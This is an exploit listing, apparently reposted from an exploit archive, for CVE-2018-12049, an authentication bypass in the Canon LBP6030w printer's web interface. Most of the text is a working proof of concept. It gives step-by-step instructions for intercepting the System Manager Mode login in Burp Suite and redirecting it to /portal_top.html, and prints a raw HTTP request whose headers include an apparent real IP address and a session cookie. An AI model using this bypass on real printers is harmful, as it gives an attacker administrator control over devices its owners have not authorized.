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Canon LBP6030w - Authentication Bypass Vulnerability
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# Exploit Title: Canon LBP6030w - Authentication Bypass # Exploit Author: Huy Kha # Vendor Homepage: http://global.canon.com # Version: LBP6030w # Severity: High (Leads to full System Manager Mode account take-over) # CVE: CVE-2018-12049 # Description : A remote attacker can bypass the System Manager Mode on the # Canon LBP6030w web interface without a PIN for /checkLogin.cgi via vectors # involving /portal_top.html to get full access to the device. # PoC : # Now with a simple request, we can bypass the authentication and get full # access to the printer with ''System Manager Mode'' 1. Go to the following url: http://TargetURL/ 2. Click on System Manager Mode 3. Intercept now the request with Burpsuite and click then on 'Ok'' to login. And now you have to forward POST /checkLogin.cgi HTTP/1.1 request to the GET /portal_top.html HTTP/1.1 # Request : GET /portal_top.html HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://23.125.171.217/ Cookie: sessid=TOIJNROiOcNQQaGdHeQ3PQ## Connection: close Upgrade-Insecure-Requests: 1 # Do we have now access to the printer with System Manager? : Yes # Impact: A remote attacker can have take-over the whole printer if there # is no PIN set by a user. # 0day.today [2024-07-02] #